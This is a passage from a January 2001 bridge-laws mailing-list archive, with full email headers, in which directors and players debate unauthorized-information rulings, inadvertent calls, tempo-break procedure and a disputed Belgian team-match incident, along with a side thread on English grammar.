Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gordon Bower wrote: > > On Fri, 12 Jan 2001, Marvin L. French wrote: > > > their constructs of choice are winning the race. > > > > > > >But to collapse the plural into the > > > >singular only degrades the expressiveness and clarity of > > communication in > > > >English...for all women (and others who think). Not written by me!! Let's be careful not to skip over originators. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 10:48:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DNlct19477 for bridge-laws-outgoing; Sun, 14 Jan 2001 10:47:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-0.nyroc.rr.com [24.92.226.120]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DNlWt19473 for ; Sun, 14 Jan 2001 10:47:33 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id SAA25314 for ; Sat, 13 Jan 2001 18:43:29 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <10p3fXB5a3X6EwcO@blakjak.demon.co.uk> References: <3A543E08.9F143DF2@village.uunet.be> <002f01c0768d$e83f4220$56991e18@san.rr.com> <10p3fXB5a3X6EwcO@blakjak.demon.co.uk> Date: Sat, 13 Jan 2001 18:40:05 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] What is suggested ? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 David Stevenson : >Ed Reppert writes >> > > >> you keep your score _provided_ the action you chose was made >>>_less_ attractive by the UI than it would have been otherwise. > > >>Is that really right? Or is it "was not made _more_ attractive"? >> >>If it is right, _why_ is it right? :-) > > Because the Law says so? > > If you use L16A, and assume an action taken is an LA, or using my >interpretation "choosing amongst LAs" does not mean that the action >chosen has to be an LA, you still have another test: the action raken >has to be suggested over another: so if they are equally suggested, then >the chosen action is not suggested over another. Maybe my brain has turned to mush, but this makes absolutely no sense to me. Law 16A says "the partner may not choose from among logical actions one that could demonstrably have been suggested over another by the extraneous information." To me this says several things germane to this thread: 1. If an action is illogical, Law 16A does not prohibit it. 2. I interpret "demonstrably suggested" as equivalent to "made more attractive". If that interpretation is correct, then the law does *not* say that any action you choose must have been made *less* attractive by the UI. If that interpretation is not correct then I'd sure like to know why it isn't. 3. If the set of logical actions includes says, one action which is "demonstrably suggested" to be better than the other two, and two actions which are *equally* suggested, then either of the latter two actions is legal. (I think that's what the last part of your paragraph above means, but I don't see what it has to do with my point 2 - except that these two legal actions have not been made less attractive by the UI, so I submit that " you keep your score _provided_ the action you chose was made _less_ attractive by the UI than it would have been otherwise" is incorrect. It appears from what you say above that you disagree. I don't see why you do - you say "because the law says so", but it *doesn't* say so. Not that I can see, anyway. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmDpBr2UW3au93vOEQIL7ACgnXk9fQYDi5vX7zkzIZAS9VqO0OYAnR9F bxkimZTKEVbDu+F4ltKtT4lf =zSRQ -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 10:58:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DNvxf19495 for bridge-laws-outgoing; Sun, 14 Jan 2001 10:57:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout1-1.nyroc.rr.com (mailout1-1.nyroc.rr.com [24.92.226.146]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DNvrt19491 for ; Sun, 14 Jan 2001 10:57:54 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout1-1.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id SAA18728 for ; Sat, 13 Jan 2001 18:54:01 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <000e01c07d95$9da4db80$56991e18@san.rr.com> References: <000e01c07d95$9da4db80$56991e18@san.rr.com> Date: Sat, 13 Jan 2001 18:51:50 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Bad Language Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 "Marvin L. French" writes: >However, in our near-genderless language, bits of gender remaining do >suggest sex rather than gender to us. For instance, "ship" might be >considered of feminine gender, since "she" is the usual pronoun used for >one. To us that indicates that a ship is considered female, while the >French probably do not think of "fleur" (flower, feminine gender) as >being female. Ships are called "she" because it costs so much to keep them in paint and powder. -- some admiral, I think. Russians call ships "he" and (as I understand it) consider them masculine gender. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmDrdb2UW3au93vOEQLKWACfXkHN8YnmtjwrWvVHnQWqY6wdkrQAoJ4B kSZMFsiALJoHaassWFl5Fc30 =r57l -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 12:00:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0E0xpn28854 for bridge-laws-outgoing; Sun, 14 Jan 2001 11:59:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0E0xZt28787 for ; Sun, 14 Jan 2001 11:59:36 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14HbW4-000EEv-0K for bridge-laws@rgb.anu.edu.au; Sun, 14 Jan 2001 00:59:32 +0000 Message-ID: Date: Sun, 14 Jan 2001 00:40:39 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Inadvertency References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> In-Reply-To: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tom Strong writes > This problem arose during aone day teams run at the club level. The >local directors are uncertain as to whether the decision made at the table >wasss correct. There was no point in appealing as it was a technical one >which directors are best to deal with. >Dealer West Vul North South > >West East >S. QJ8 S. A9 >H. 4 H. KJ753 >D. J D. KQ1075 >C. J10987643 C. Q > > East West are both good players with West a regular on the Congress >circuit. They are playing together for the first time. >West opens with three no trump and then says I have made an inadvertent bid >and calls for the director. The director examines the system card in which >three no trump is shown as gambling. He discovers that they had not >discussed the bid in any way beyond the simple agreement. Why did he examine the CC? > He finally ruled inadvertency on the grounds that even with eight cards >this did not fulfill any of the common local versions of the Gambling Three >No Trump. This is not the correct approach. > My own inclination would be to refuse this and treat it as an error in >bidding. Comments would be appreciated as at the club level we get few >decisions of this sort and need education as to the correct decision and why. Let us try to get the correct approach. You do *NOT* look at the player's cards even if he tries to show them to you. To allow a change under L25A: [1] the change, or attempt to change, must be without pause for thought after realisation of the error, and [2] the change must be because of an inadvertent call, and [3] the change must be made before partner calls I assume [3] is ok, otherwise you would have mentioned it. I assume that [1] is ok. The way you describe it [he made a call, and then said ...] suggests that [1] is ok. So, was it inadvertent? Looking at the hand is a terrible idea, and TDs *MUST NOT* do this. If they do then they will give UI to the table and they will then have to make a judgement decision, which should never be done without consideration and consultation. You do not want to allow this hand to take 45 minutes. Ask the player what he meant to bid at the moment he wrote 3NT. Trust him to answer correctly, but do not trust him to know what inadvertent means. You will know from his answer whether it was inadvertent. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 12:00:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0E0xsC28870 for bridge-laws-outgoing; Sun, 14 Jan 2001 11:59:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0E0xct28812 for ; Sun, 14 Jan 2001 11:59:39 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14HbW4-000EEy-0K for bridge-laws@rgb.anu.edu.au; Sun, 14 Jan 2001 00:59:32 +0000 Message-ID: Date: Sun, 14 Jan 2001 00:22:04 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Annoyingly irregular References: <200101021604.LAA17526@cfa183.harvard.edu> <3.0.2.32.20010113011255.01120c08@mail.chello.nl> <042401c07d34$98868ce0$56991e18@san.rr.com> <000a01c07d3b$58a49f20$cbc1adcb@ihug.co.nz> In-Reply-To: <000a01c07d3b$58a49f20$cbc1adcb@ihug.co.nz> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Julie Atkinson writes > >Why can't you just agree "change of tempo" at table and if there is any >dispute then call the director? > >At present in NZ this is all that is required during the auction up until >the opening lead is made. Most breaks in tempo are agreed and any dispute is >advised to the director before any possible damage is known. > >I am curious why the Director need be called if the facts are agreed. It is because the ACBL says so. No, not many of us here understand it either, and it does not apply outside the ACBL. In fact, I am told a lot of players ignore this requirement in North America. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 12:00:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0E0xqM28857 for bridge-laws-outgoing; Sun, 14 Jan 2001 11:59:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0E0xZt28786 for ; Sun, 14 Jan 2001 11:59:36 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14HbW3-000EEu-0K for bridge-laws@rgb.anu.edu.au; Sun, 14 Jan 2001 00:59:31 +0000 Message-ID: Date: Sun, 14 Jan 2001 00:19:36 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Annoyingly irregular References: <036101c07cf8$29e23c80$56991e18@san.rr.com> In-Reply-To: <036101c07cf8$29e23c80$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >David Stevenson wrote: >> Tim West-meads wrote: >> >I had always understood that "peers" referred to "those of similar >system, >> >ability, and *style*" (not in the laws but DWS might be able to >enlighten >> >as I think he quoted to me from somewhere). >> >> I made up the quote and tested it here and at the EBU panel TD >> weekend. Both seemed to think it fair enough. >I agree with this excellent definition, but the word "peers" is >not used in L16. It is appropriate for claimers and maybe others, >but I don't see that it has a role in L16. It does not matter whether it appears in the Law. logical alternative is one that is interpreted by various authorities, and this is the first time I have heard a suggestion that does not involve the players' peers. >L16A uses the term "logical alternative," not saying whether the logic >applies to the specific player involved or to a more objective standard. >If the former, why not a footnote like the ones for contested claims, >referring to "the class of player involved"? > >In the absence of such a footnote I would tend to take only a player's >system into account when judging what is an LA for the player. Maybe so, but you are plowing a lonely furrow. Like it or not, everyone else is using the player's peers as the standard. >I guess that puts me a step beyond, but in the same direction, as >Grattan's position. No. Grattan said [inter alia]: >the normal requirement is to judge by >> >> reference to what his peers would do if playing the >> >> same system and which shows he expects peers to be considered. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 15:47:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0E4js119354 for bridge-laws-outgoing; Sun, 14 Jan 2001 15:45:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0E4jlt19319 for ; Sun, 14 Jan 2001 15:45:48 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sat, 13 Jan 2001 20:45:03 -0800 Message-ID: <00ab01c07de4$cc94e760$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101021604.LAA17526@cfa183.harvard.edu> <3.0.2.32.20010113011255.01120c08@mail.chello.nl> <042401c07d34$98868ce0$56991e18@san.rr.com> <000a01c07d3b$58a49f20$cbc1adcb@ihug.co.nz> Subject: Re: [BLML] Annoyingly irregular Date: Sat, 13 Jan 2001 20:43:51 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > Julie Atkinson writes > > > >Why can't you just agree "change of tempo" at table and if there is any > >dispute then call the director? > > > >At present in NZ this is all that is required during the auction up until > >the opening lead is made. Most breaks in tempo are agreed and any dispute is > >advised to the director before any possible damage is known. > > And Marv commented: > >I am curious why the Director need be called if the facts are agreed. > > It is because the ACBL says so. The ACBL has jurisdiction in New Zealand? :) > No, not many of us here understand it > either, and it does not apply outside the ACBL. In fact, I am told a > lot of players ignore this requirement in North America. > No one seems to know just what the ACBL says, it's all word of mouth. However, my latest word on this comes from a top ACBL TD, and it is in accord with the general belief (including David's) as to the ACBL policy: "Unless I am mistaken, we expect people to call as soon as the partner takes action that may be suspect." Let's hope s/he is mistaken. This is not only a bit insulting to the opposition, but seems to be a violation of L16A2 and its footnote. Marv San Diego, CA, USA (s/he is short for "she or he", WTP?) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 22:12:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0EBAsn04401 for bridge-laws-outgoing; Sun, 14 Jan 2001 22:10:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tbd.uunet.be (root@tbd.uunet.be [194.7.1.10]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0EBAkt04397 for ; Sun, 14 Jan 2001 22:10:48 +1100 (EST) Received: from village.uunet.be (uu212-190-11-91.unknown.uunet.be [212.190.11.91]) by tbd.uunet.be (8.9.3/8.9.1) with ESMTP id MAA28611 for ; Sun, 14 Jan 2001 12:10:39 +0100 (CET) Message-ID: <3A602697.5EDF1B24@village.uunet.be> Date: Sat, 13 Jan 2001 10:57:43 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Bad Language References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "John (MadDog) Probst" wrote: > > >2nd person plural as the polite address for one person. It's not unheard of > >to use a plural construct to refer to one person. > > > >-Todd > > We are amused. A better example would be "we are a grandmother", as said by Mrs Thatcher. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 23:45:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ECjNN03832 for bridge-laws-outgoing; Sun, 14 Jan 2001 23:45:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ECjGt03793 for ; Sun, 14 Jan 2001 23:45:17 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0ECj8w17847 for bridge-laws@rgb.anu.edu.au; Sun, 14 Jan 2001 12:45:08 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Sun, 14 Jan 2001 12:45 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] What is suggested ? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <3A5D9D7E.D73AE8B1@village.uunet.be> HdW wrote: > Last week I held : > > 9 xxx xxxx QJ10xx > > both sides vul and partner overcalled 2Sp (weak) over 1Di, > and this was doubled (negative). > > I bid 4Spades. > > Is this logical ? I don't think so. Of course it is logical. Opposite the bog standard KQJTxx,xxx,xx,xx weak jump overcall opponents have twelve top tricks if either has a 5 card red suit and sufficient power to pretty much guarantee getting to slam. -1400 beats -1430/-1440. I have no idea of the probabilities in this situation but once your mind starts down this line of reasoning it is logical to try and give opponents a losing option. In choosing to bid 4S you define your peers as "those people who reason as above". Had you been in possession of UI suggesting this to be a bad idea (eg pard fingered 1S before bidding 2) and been unethical a TD might decide (wrongly) that insufficient of your peers would reason this way for 4S to be an LA. Such is life, I know there are thousands of players who wouldn't even consider 4S on this hand. Had you chosen to bid 6C I doubt I would find it logical (unless you had UI suggesting partner had a black two-suiter). Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 23:48:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ECmF704840 for bridge-laws-outgoing; Sun, 14 Jan 2001 23:48:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ECm8t04807 for ; Sun, 14 Jan 2001 23:48:09 +1100 (EST) Received: from dodona (host62-6-73-241.dialup.lineone.co.uk [62.6.73.241]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id MAA24177 for ; Sun, 14 Jan 2001 12:47:45 GMT Message-ID: <003501c07e28$75018780$f149063e@dodona> From: "Grattan Endicott" To: References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> <01ae01c07c07$c75f49e0$56991e18@san.rr.com> <031d01c07ce9$fcc3f9e0$56991e18@san.rr.com> Subject: Re: [BLML] Bad Language Date: Sun, 14 Jan 2001 12:46:41 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Marvin L. French To: Sent: Friday, January 12, 2001 10:46 PM Subject: Re: [BLML] Bad Language > > > I remember Princess Anne using "one" in this way > on the telly. Perhaps a middle path between the > royal "we" and the "I" of commoners? I believe > that some columnists use "one" as first person > also, if not using "we" or "the present writer" or > "your reviewer," all pretty ridiculous. > > +=+ The Princess and I were educated somewhat differently, yet it may be we were taught the same language. In my formative years I was told that 'one' is a correct usage when applied impersonally, and not as a substitute for 'I' or 'me'. Not surprisingly I am supported by the edition of Fowler (AD* 1930) that I select for my guidance. ~ Grattan (old fuddy-duddy) ~ +=+ [*to pre-empt suggestions that it might be BC] -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 04:59:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0EHwgX23092 for bridge-laws-outgoing; Mon, 15 Jan 2001 04:58:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hood.tvd.be (hood.tvd.be [195.162.196.21]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0EHwYt23053 for ; Mon, 15 Jan 2001 04:58:35 +1100 (EST) Received: from p166 (cable-195-162-218-51.upc.chello.be [195.162.218.51]) by hood.tvd.be (8.9.3/8.9.3/RELAY-1.1) with SMTP id SAA15591 for ; Sun, 14 Jan 2001 18:58:27 +0100 (MET) Message-ID: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> From: "Gelders Hans" To: Subject: [BLML] Your opinion pls. Date: Sun, 14 Jan 2001 18:50:03 +0100 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi all, I always read with great interest the discussions in this group about difficult decisions for TD's. So I wanted to ask your opinion about a decision a TD made yesterday in the penultimate day of the teams-competition, first division Belgium. This was the board (All vul, North dealer, the '_____'' indicates the screen. North S: 4 H: AK52 D: Q642 C: KQ76 East S:752 H:Q8 D:AJ983 C:AJ9 ____________________ West S: AKQJ96 H: J74 D: K1075 C:- South S: 1075 H: 10963 D: - C: 1085432 North opened the bidding with 2C, alerted and explained as a three-suiter, unknown singleton, 12-16 or a two-suiter in the minors, also 12-16. East passed, South bid 2H (alerted and explained as to play if partner held hearts) and I bid 3 spades. LHO passed and partner raised till 4S. South bid 5C, I passed, LHO passed and partner, East, doubled. When the tray came back RHO did not pass but took immediately all his bidding cards away. Distracted I also took my bidding-cards (I of course had to pass and to ask my RHO to put his cards back on the tray (in the correct order of course), however this could not be done without a time delay and some noise). Anyway, when the tray was passed to opener he started to think. In fact, I saw his problem: he thought that his partner wanted to save in 5 hearts when opener had a three-suiter and in 5C when partner had two-suiter in the minors. After some 30 seconds my RHO, who was on my side of the screen, said something like:"Please partner, let's play on" (my RHO wanted of course to play 5C, not 5H.). I had the impression that my LHO had not heard this quiet remark. So, some 30 seconds later, my RHO made an other remark, this time rather clear: 'Please partner, let's take this 1100 and go on'. Do you expect -1100 with the South-hand. Anyway, his partner still did not pass. So another 30 seconds later my RHO looked under the tray to his partner, this time stating "Pls partner, don't bid. If you bid our opponents are going to call the TD". So now North woke up and passed. My partner led a spade and called immediately the TD when dummy hit the table, explaining to the TD what happened. Then we played the board, however the TD stayed at our table. We took our 4 obvious tricks for +500. But we asked the TD to change this result as North never can make 9 tricks in hearts, you can even do nap in defence. The TD did not agree and did not change the score. When we asked why he explained that there were two reasons. 1. I need to pass to have still some rights, I lost my rights by taking away my bidding cards. That my RHO had influenced me by taking his bidding cards (before me) was of no importance. 2. My partner (or I) had to call the TD before dummy hit the table. I was very much surprised by these explanations. Everybody knows that the bidding laws are a complete mess ( the many different points of view in this group tell it all). Nevertheless some common sense can not be asked to much. Thanks and kind regards, Hans Gelders P.S: The TD was Herman Dewael -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 05:34:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0EIY9j23159 for bridge-laws-outgoing; Mon, 15 Jan 2001 05:34:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0EIY3t23155 for ; Mon, 15 Jan 2001 05:34:04 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sun, 14 Jan 2001 10:33:20 -0800 Message-ID: <001a01c07e58$7e7cbde0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Subject: [BLML] Artificial Scores Date: Sun, 14 Jan 2001 10:33:21 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk As a fun exercise, I have started going through the Laws with the intent of coming up with a simpler, shorter version that does not conflict (much) with what we have now. Still in the early stages, I was looking at Definitions and found a surprise: Adjusted Score 1. An artificial adjusted score is one awarded in lieu of a result because no result can be obtained or estimated for a particular deal (e.g., when an irregularity prevents play of a deal). "obtained or estimated"! I wonder how many artificial scores might have been avoided if these words had been used in L12C1. Marv San Diego, CA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 06:11:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0EJB1A23201 for bridge-laws-outgoing; Mon, 15 Jan 2001 06:11:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0EJAst23193 for ; Mon, 15 Jan 2001 06:10:55 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14HsYB-000Kfo-0V for bridge-laws@rgb.anu.edu.au; Sun, 14 Jan 2001 19:10:50 +0000 Message-ID: Date: Sun, 14 Jan 2001 01:18:36 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] What is suggested ? References: <3A543E08.9F143DF2@village.uunet.be> 